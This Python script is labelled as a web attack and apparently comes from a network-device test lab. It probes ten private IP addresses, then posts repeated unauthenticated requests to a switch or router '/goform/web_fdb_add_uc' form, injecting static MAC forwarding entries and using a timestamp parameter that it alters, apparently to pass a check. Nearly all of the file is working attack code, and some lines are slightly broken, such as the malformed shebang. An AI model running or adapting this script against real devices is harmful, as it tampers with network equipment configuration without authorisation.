#!/bin/bash/python
# _*_ coding: utf-8 _*_
# file： web_attack_fdb
# date-time: 2023/9/8-23:02
# auth:hard work
# description

import requests
from tools_dev_and_sys.sys_secure.check_host_status import check_host_stat1
from tools_dev_and_sys.sys_secure.port_scan_util import portscanner
import ntplib

client = ntplib.NTPClient()


def config_fdb_url(ip, ntp_time, count):
    url = 'http://{}/goform/web_fdb_add_uc?{}'.format(ip, ntp_time)
    data = {'isdel': 'false', 'isadd': 'true', 'delIndex': '1', 'mac': '', 'mac_modify': '',
            'vId': '1', 'vId_modify': '', 'port': '67178497'}
    if count < 10:
        data['mac'] = '0002.0002.{}'.format('000' + str(count))
    else:
        data['mac'] = '0002.0002.{}'.format('00' + str(count))
    res = requests.post(url=url, data=data)
    # print(res)
    if res is not None:
        print("attack %s done!" % ip)
    else:
        print(res)


def get_ntp_time(ntp_ip):
    try:
        ret = client.request(ntp_ip, version=3, timeout=10)
        if ret:
            time1 = str(ret.tx_time).split('.')[0]
            time2 = str(ret.tx_time).split('.')[1]
            time_tmp = time1 + time2[:3]
            time_tmp1 = time_tmp.replace(time_tmp[4:5], "8", 1)
            return time_tmp, time_tmp1
        else:
            return False
    except TimeoutError as e:
        print(e)


if __name__ == '__main__':
    dut_lst = ['10.11.0.208', '10.11.0.223', '10.11.0.218', '10.11.0.219', '10.11.0.192', '10.11.0.236', '10.11.0.200',
               '10.11.0.213',  '10.11.0.235', '10.11.0.216']

    ntp_server = '10.11.0.217'
    for dut_ip in dut_lst:
        is_online = check_host_stat1(dut_ip)

        if is_online:
            is_open = portscanner(dut_ip, 113)
            if is_open is True:
                for count in range(0, 21):
                    ntp_time, time2 = get_ntp_time(dut_ip)
                    # config_fdb_url(dut_ip, ntp_time, count)
                    config_fdb_url(dut_ip, time2, count)

            else:
                print("port not open %s" % dut_ip)
                print('used ntp server %s' % ntp_server)
                for count in range(0, 21):
                    ntp_time, time2 = get_ntp_time(ntp_server)
                    config_fdb_url(dut_ip, ntp_time, count)
                    config_fdb_url(dut_ip, time2, count)
        else:
            print("dut  not online %s" % dut_ip)

